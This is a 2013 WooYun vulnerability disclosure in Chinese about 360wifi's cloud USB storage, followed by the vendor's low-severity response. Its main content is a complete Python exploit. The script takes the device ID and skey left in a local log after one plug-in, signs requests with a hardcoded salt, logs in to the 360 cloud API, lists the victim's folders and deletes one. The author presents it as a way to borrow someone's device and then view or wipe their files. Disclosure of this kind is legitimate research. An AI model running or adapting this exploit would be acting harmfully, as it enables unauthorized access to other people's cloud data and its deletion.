当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-041487

漏洞标题：360wifi轻插一次可实现永久控制

相关厂商：奇虎360

漏洞作者： 路人甲

提交时间：2013-10-30 17:09

修复时间：2014-01-28 17:09

公开时间：2014-01-28 17:09

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-30： 细节已通知厂商并且等待厂商处理中
2013-10-30： 厂商已经确认，细节仅向厂商公开
2013-11-02： 细节向第三方安全合作伙伴开放
2013-12-24： 细节向核心白帽子及相关领域专家公开
2014-01-03： 细节向普通白帽子公开
2014-01-13： 细节向实习白帽子公开
2014-01-28： 细节向公众公开

简要描述：

360wifi有个神奇的功能叫云U盘。它有个地方设计不当，就是在电脑上插一次之后，会在本地记录该wifi的devid和skey。之后呢？你就能通过该devid和skey任意访问云U盘中的文件了。借一下别人的360wifi，轻插一下你的电脑，然后还给他。然后你就能任意看他云U盘中的岛国电影了

详细说明：

在file://C:\Users\用户名\AppData\Roaming\360CloudWifi\expuser.log路径里，
如下：

.PNG


之后你把这两个值写到以下python文件里。

#coding=utf-8
import urllib
import urllib2
import hashlib
from xml.dom import minidom
getconf_url = "http://w.yunpan.360.cn/intf.php";
login_url = "http://w%s.yunpan.360.cn/intf.php?method=WifiUser.login&qid=%s&devtype=Wifi&v=&devid=%s&devname=&rtick=6198368&sign=%s&"
detail_url = "http://api%s.yunpan.360.cn/intf.php?method=User.getUserDetail&qid=%s&devtype=Wifi&v=1.0.0.1030&devid=%s&devname=&rtick=6211423";
getfile_url = "http://api%s.yunpan.360.cn/intf.php?method=File.getAllNodesV2&qid=%s&devtype=Wifi&v=1.0.0.1030&devid=%s&devname=&rtick=5350229";
delfile_url = "http://api%s.yunpan.360.cn/intf.php?method=File.delete&qid=%s&devtype=Wifi&v=1.0.0.1050&devid=%s&devname=&rtick=11609065";
###请将这两个值改成file://C:\Users\用户名\AppData\Roaming\360CloudWifi\expuser.log中的devid和skey
###上面的日志如下 /start /devid=xxxxxxxxxxxxxxxxx /skey=bbbbbbbbbbbbb
key = {'skey':'aaaaaaaa'} 
devid = "bbbbbbbbbbbbbbbbbbbbbbb"
getConf = {
	'method':'WifiUser.getConfig',
	'qid':'',
	'devtype':'Wifi',
	'devid': devid,
	'devname':'',
	'rtick':'2529285',
	'v':'',
	'sign':''
};
userLogin = {
	'method':'WifiUser.login',
	'qid':'',
	'devtype':'Wifi',
	'devid':devid,
	'devname':'',
	'rtick':'6198368',
	'v':'',
	'sign':''
};
def getcontent(page, name):
	i = page.find(name+"=")
	mylen = len(page)
	j = i+4
	left = -1;
	if(i!=-1):
		for k in range(j, len(page)-1):
			if(page[k]=='"'and left==-1):
				left=k+1;
			elif(page[k]=='"' and left>0):
				right=k
				break;
	if(left!=-1):
		return page[left:right]
	
def ksort(d):
	result="";
	for k in sorted(d.keys()):
		if k!='sign':
			result=result+k+'='+d[k]
	#print result
	return result
def getsign(data):
	salt='243dcc291a9d8f31e21c9c580cfdce64'
	data1=ksort(data)
	data1 = data1+salt
	sign = hashlib.md5(data1).hexdigest()
	#print "sign is "+sign
	return sign
def signurl(url):
	paramlist = url.split("?")
	params = paramlist[1]
	pv = params.split("&")
	data = {}
	for k in pv:
		p = k.split("=")
		data[p[0]] = p[1]
	return getsign(data)
	
	
def login(cid, qid, key):
	userLogin['qid']=qid;
	sign = getsign(userLogin);
	userLogin['sign'] = sign;
	login_url1 = login_url%(cid, qid, devid, sign)
	req = urllib2.Request(login_url1);
	req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
	req.add_header('Cookie', urllib.urlencode(key))
	response = urllib2.urlopen(req);
	page = response.read()
	token = getcontent(page,"token")
	return token
def detail(cid, qid, devid, token):
	detail1 = detail_url%(cid,qid, devid)
	sign = signurl(detail1)
	detail1 = detail1+"&sign="+sign+"&ofmt=xml&pid=&";
	req = urllib2.Request(detail1);
	req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
	req.add_header('Cookie', "token="+token)
	response = urllib2.urlopen(req);
	page = response.read()
	
	
def getAllFile(cid, qid, devid, token):
	getfile = getfile_url%(cid, qid, devid)
	sign = signurl(getfile)
	getfile = getfile+"&sign="+sign+"&ofmt=xml&pid=&";
	req = urllib2.Request(getfile)
	req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
	req.add_header('Cookie', "token="+token+";count=1000")
	response = urllib2.urlopen(req);
	page = response.read()
	data = parseFile(page)
	return data
	
	
def deleteFile(cid, qid, devid, token, fname):
	delfile = delfile_url%(cid, qid, devid)
	sign = signurl(delfile)
	delfile = delfile + "&sign="+sign+"&ofmt=xml&pid=home&"
	req = urllib2.Request(delfile)
	req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
	req.add_header('Cookie', "token="+token+";fname=/"+fname+"/")
	response = urllib2.urlopen(req);
	page = response.read()
	print page
	
	
def parseFile(page):
	doc = minidom.parseString(page)
	root = doc.documentElement
	dir_infos = root.getElementsByTagName("dir_info");
	
	i = 0;
	data = {}
	print "directory in the safe 360 yunpan: "
	for node in dir_infos:
		pid = node.getAttribute("pid")
		if pid=="0":
			print i
			print ":"
			print node.getAttribute("fname")
			data[i] = node.getAttribute("fname")
			i=i+1
	return data
	
'''	
proxy_handler = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})
opener = urllib2.build_opener(proxy_handler)				
urllib2.install_opener(opener) '''
sign = getsign(getConf);
getConf['sign']=sign
req = urllib2.Request(getconf_url+"?"+urllib.urlencode(getConf));
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
req.add_header('Cookie', urllib.urlencode(key)) 
response = urllib2.urlopen(req);
page = response.read()
cid = getcontent(page, "cid")
qid = getcontent(page, "qid")
token = login(cid, qid, key)
data = getAllFile(cid, qid, devid, token)
i = int(input("which do you want to delete? better choose an english name directory input the number:   "))
deleteFile(cid, qid, devid, token, data[i])


运行下哈，选择一个你想删除的文件夹，删除吧。
代码里有个bug，暂时不支持删除中文文件夹名哦。

漏洞证明：

.PNG

修复方案：

你们更专业

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2013-10-30 18:24

厂商回复：

感谢反馈。由于攻击者必须拿到随身wifi设备，才能获取云U盘登录信息，因此漏洞评级为低。我们将会在新版中进一步增强登录验证机制，降低此类安全风险。

最新状态：

暂无